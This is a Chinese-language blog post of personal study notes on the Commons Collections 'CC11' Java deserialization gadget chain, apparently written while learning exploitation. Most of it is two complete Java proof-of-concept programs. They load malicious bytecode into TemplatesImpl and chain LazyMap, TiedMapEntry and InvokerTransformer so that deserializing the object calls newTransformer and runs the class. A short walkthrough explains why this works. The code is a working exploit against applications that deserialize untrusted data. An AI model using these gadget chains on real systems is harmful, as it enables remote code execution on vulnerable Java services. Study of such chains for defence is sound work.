cc11学习笔记
Flow

保持学习感觉,趁热打铁学下去🤓

说是CC11比较好用,后续会接触到,既可以加载恶意类,影响版本也比较广,学习!

CC11分析

这条链子说是CC2+CC6结合,后面利用到恶意类加载,简单回顾一下之前两条链子

之前在学CC3涉及到恶意类加载已经写过了CC6的恶意类加载版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{calc});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);

// 有一个decorateMap是LazyMap修饰过的
HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

// 再套一层TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"bbb");
decorateMap.remove("aaa");

// 反射修改factory的值
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorateMap,chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}

public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

先比最开始的用多个组合InvokerTransformerChainedTransformer的版本,这个版本把templates和一个能调用TemplatesImpl.newTransformerInvokerTransformer组合成新的ChainedTransformer,后面其他的没有怎么变。

看图应该好理解一些

而现在的CC11直接不用Transformer这个类,因为没必要,把有恶意字节码的templates当成key被加载进去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{code});

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
// ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransformer);

// 这部分基本和原来的CC6后部分一致
HashMap<Object,Object> hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,templates); // 这次传入的“key”是templates
HashMap<Object,Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"aaa");
decoratedMap.remove(templates);

setFieldValue(decoratedMap,"factory",invokerTransformer);

serialize(expMap);
unserialize("ser.bin");
}

正着看一下逻辑,这次不把templates包进Transformer,而是直接

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap,templates);

如果对应看TiedMapEntry这个类的构造函数,会发现

此时在TiedMapEntry里面,map是decoratedMap,我们会控制它是LazyMap,key是 templates我们知道链子会触发getValue(),进入后,也就是LazyMap.get(),之前我们不会在乎括号里的this.key是什么,这次我们把templates传进去,一直跟进

此时transformer里面

Input -> templates

this.iMethodName -> newTransformer

那这样对应的代码效果就是,反射执行了

1
templates.newTransformer();

那就达成我们的目的,恶意类加载,整体思路就是这样,还是很好理解的!

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep